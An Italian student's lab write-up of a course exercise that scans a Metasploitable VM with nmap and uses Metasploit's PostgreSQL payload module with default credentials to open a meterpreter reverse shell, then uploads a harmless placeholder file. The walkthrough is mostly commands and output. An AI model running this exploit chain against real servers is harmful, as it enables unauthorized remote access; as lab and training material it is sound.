

Come prima fase, ho impostato gli indirizzi di Kali Linux e di Metasploitable nei seguenti modi:

IP di Kali Linux:

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc f
link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
inet 192.168.1.2/24 brd 192.168.1.255 scope global nopro
valid_lft forever preferred_lft forever
inet6 fe80::5863:d218:7700:f60e/64 scope link noprefixr
valid_lft forever preferred_lft forever
```

IP di Metasploitable:

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc p
link/ether 08:00:27:cd:c5:7b brd ff:ff:ff:ff:ff:ff
inet 192.168.1.3/24 brd 192.168.1.255 scope global eth0
inet6 fe80::a00:27ff:fecc:c57b/64 scope link
valid_lft forever preferred_lft forever
```

Successivamente volevo sapere in che porta fosse il servizio “postgres”, richiesto nella consegna dell’esercizio, così ho eseguito una scansione nmap verso la macchina metasploitable usando il comando “nmap -sV 192.168.1.3” usando lo switch -sV perché voglio vedere la versione del servizio “postgres”. Ha fine scansione ho trovato che il servizio fosse nella porta 5432 .

```
kali@kali:~$ nmap -sV 192.168.1.3
Starting Nmap 7.95 (https://nmap.org) at 2025-01-22 09:38 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try
using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.3
Host is up (0.00030s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:CD:C5:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix,
Linux; CPE: cpe:/o:linux:linux_kernel
```

Successivamente ho aperto la Msfconsole e cercato il payload

“exploit/linux/postgres/postgres_payload” richiesto nella consegna dell’esercizio dando successivamente il comando “use 0” dove 0 è il tag identificativo del modulo ricercato.

```
msf6 > search exploit/linux/postgres/postgres_payload
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent Yes     PostgreSQL for Linux Payload Execution
1  \_ target: Linux x86                      .               .       .       .
2  \_ target: Linux x86_64                  .               .       .       .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload.
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'
msf6 > use 0
```

Dopo averlo selezionato, ho visionato le informazioni che necessitava per la sua esecuzione scrivendo il comando “show options”

```

Name      Current Setting  Required  Description
----      -
DATABASE  postgres          no        The database to authenticate against
PASSWORD  postgres          no        The password for the specified username. Leave blank for a
RHOSTS    [redacted]         no        The target host(s), see https://docs.metasploit.com/docs/
RPORT     5432              no        The target port
USERNAME  postgres          no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -
LHOST     [redacted]       yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

```

Notando che mancavano le informazioni inerenti al RHOST (target) e LHOST (Listen address) così ho aggiunto l'IP di metasploitable su RHOST e l'IP di kali su LHOST:

```

msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.1.2
lhost => 192.168.1.2

```

Dopo aver impostato LHOST e RHOST ho usato il comando “show options” di nuovo per vedere se fosse tutto inserito correttamente e se fosse necessario modificare il payload, così ho usato il comando “show payloads” per visionare tutti i payloads disponibili dato che nella consegna dell'esercizio fosse richiesto di usare meterpreter:

```

Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
----      -
DATABASE  postgres          no        The database to authenticate against
PASSWORD  postgres          no        The password for the specified username. Leave blank for a
RHOSTS    192.168.1.3       no        The target host(s), see https://docs.metasploit.com/docs/
RPORT     5432              no        The target port
USERNAME  postgres          no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      -
LHOST     192.168.1.2     yes       The listen address
LPORT     4444             yes       The listen port

msf6 exploit(linux/postgres/postgres_payload) > show payloads

Compatible Payloads
=====
#  Name
-  -
0  payload/generic/custom
1  payload/generic/debug_trap
2  payload/generic/shell_bind_aws_ssm
3  payload/generic/shell_bind_tcp
4  payload/generic/shell_reverse_tcp
5  payload/generic/ssh/interact
6  payload/generic/tight_loop
7  payload/linux/x86/chmod
8  payload/linux/x86/exec
9  payload/linux/x86/meterpreter/bind_ipv6_tcp
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid
11 payload/linux/x86/meterpreter/bind_nonx_tcp
12 payload/linux/x86/meterpreter/bind_tcp
13 payload/linux/x86/meterpreter/bind_tcp_uuid
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp
15 payload/linux/x86/meterpreter/reverse_nonx_tcp
16 payload/linux/x86/meterpreter/reverse_tcp
17 payload/linux/x86/meterpreter/reverse_tcp_uuid
18 payload/linux/x86/metsvc_bind_tcp

```

Trovando appunto un payload che usa meterpreter e che esegue un reverse tcp che ha un approccio di comunicazione migliore rispetto al bind dato che nel reverse è il target a stabilire la connessione verso l'attaccante, aggirando eventuali regole del firewall. Lo imposto usando il comando:

```

msf6 exploit(linux/postgres/postgres_payload) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp

```

Adesso visiono per l'ultima volta tutti i settaggi dell'exploit per confermare che sia tutto okay:

```
Module options (exploit/linux/postgres/postgres_payload):
Name      Current Setting  Required  Description
-----
VERBOSE   false             no        Enable verbose output

Used when connecting via an existing SESSION:
Name      Current Setting  Required  Description
-----
SESSION   no               no        The session to run this module on

Used when making a new connection via RHOSTS:
Name      Current Setting  Required  Description
-----
DATABASE  postgres         no        The database to authenticate against
PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS    192.168.1.3      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
-----
LHOST     192.168.1.2      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
```

Dopo aver controllato, posso eseguire l'exploit che apre un meterpreter sul quale posso eseguire dei comandi per ottenere delle informazioni sul sistema target, come:

“getuid” per identificare l'utente corrente

“sysinfo” per visualizzare delle informazioni sul sistema operativo in esecuzione sul target.

“upload” per poter caricare un file inserendo il percorso di origine

“shell” per aprire una shell direttamente sul sistema target

Ho sfruttato il comando upload per caricare un file chiamato “codicemalevolo.py” sulla macchina target e successivamente avviato una shell per poter visualizzare il percorso sul quale è stato caricato il file.

Dopo aver trovato il percorso, ho aperto la macchina virtuale seguendo il path e trovando effettivamente il codice caricato precedentemente da remoto.

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] 192.168.1.3:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu4))
[*] Uploaded as /tmp/uzrLfQDB.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.3
[*] Meterpreter session 3 opened (192.168.1.2:4444 -> 192.168.1.3:49547) at 2025-01-22 09:50:44 -0500

meterpreter > getuid
Server username: postgres
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > upload codicemalevolo.py
[*] Uploading : /home/kali/codicemalevolo.py -> codicemalevolo.py
[*] Uploaded -1.00 B of 29.00 B (-3.45%): /home/kali/codicemalevolo.py -> codicemalevolo.py
[*] Completed : /home/kali/codicemalevolo.py -> codicemalevolo.py
meterpreter > shell
Process 4885 created.
Channel 2 created.
ls
PG_VERSION
base
codicemalevolo.py
global
pg_clog
pg_multixact
```

Comando pwd su meterpreter:

```
pwd
/var/lib/postgresql/8.3/main
```

terminale su metasploitable:

```
root@metasploitable: /var/lib/postgresql/8.3/main# ls
base
codicemalevolo.py
pg_clog
pg_multixact
pg_tblspc
pg_twophase
pg_xlog
global
pg_subtrans
PG_VERSION
postmast
root@metasploitable:/var/lib/postgresql/8.3/main# cat
questo e' un codice malevolo
```